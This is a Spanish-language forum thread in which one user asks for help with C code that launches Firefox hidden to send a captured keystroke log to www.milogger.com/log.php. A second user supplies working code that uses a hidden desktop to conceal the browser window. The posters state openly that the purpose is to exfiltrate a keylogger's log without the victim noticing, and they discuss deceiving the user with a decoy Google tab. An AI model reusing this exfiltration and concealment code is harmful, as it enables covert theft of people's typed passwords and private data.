Problemas con ShellExecute

Iniciado por someRandomCode, 28 Noviembre 2012, 09:57 AM

0 Miembros y 1 Visitante están viendo este tema.

someRandomCode


int EnviarAMi() {
/* Busco si existe un navegador*/
static char navegador[1024];
HINSTANCE envio;
HANDLE Navegador = CreateFile("C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe",
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (Navegador!=INVALID_HANDLE_VALUE) {
strcpy(navegador,"""C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe""");
strcat(navegador," www.milogger.com/log.php?");
strcat(navegador,buffer);
/* Lanzar navegador */
envio = ShellExecute(NULL,"open",navegador,NULL,NULL,0);
if ((int)envio>31)
printf("Navegador lanzado oculto");
}


Alguien sabe porque no esta funcionando?

x64core

ShellExecute:

ShellExecute(NULL,"open",navegador,URL,NULL,NULL);

someRandomCode

Gracias, pero si pongo el ultimo NULL me abre el navegador en modo visible, la idea es que lo haga como SW_HIDDEN (0)...
Por el resto pense que no seria cambio, pero si lo hizo al cambio..
El problema es que si tiene un navegador abierto (una instancia de firefox) me habre una pestaña..
supongo que podria engañar al usuario abriendo una pestaña con Google..

x64core

#3
Cita de: someRandomCode en 28 Noviembre 2012, 11:43 AM
Gracias, pero si pongo el ultimo NULL me abre el navegador en modo visible, la idea es que lo haga como SW_HIDDEN (0)...
Por el resto pense que no seria cambio, pero si lo hizo al cambio..
El problema es que si tiene un navegador abierto (una instancia de firefox) me habre una pestaña..
supongo que podria engañar al usuario abriendo una pestaña con Google..

con SW_HIDDEN  no vas a poder ocultar a firefox.
si lo que quieres es ocultar la ventana del proces del navegador entonces tendras que crearte una instance de un nuevo escritorio
para poder mostrarlo solo en el escritorio que has creado ( utilizando: CreateDesktop ). luego pasando el mismo nombre del
nuevo escritorio y utlizando CreateProcess:

    STARTUPINFO              SI;
    PROCESS_INFORMATION      PI;
     HANDLE nDekt;
    memset(&SI, 0, sizeof(SI));
    memset(&PI, 0, sizeof(PI));

    SI.cb = sizeof(SI);
    SI.lpDesktop = "newDesktop";

    if(nDekt = CreateDesktop("newDesktop",0,0,0,GENERIC_ALL,0))
    {
   
         CreateProcess( "C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe",
                        "www.google.com",                
                        0,
                        0,
                        0,
                        DETACHED_PROCESS,
                        0,
                        0,                              
                        &SI,
                        &PI);

    }
    return 0;



con eso ocultas cualquier ventana de cualquier  ::)


PD_ no olvidar cerrar el handle al objeto.

someRandomCode

Barbaro me viene genial, porque la idea es evitar tener que lidiar con injectar codigo y pasar el log por GET de a pedacitos..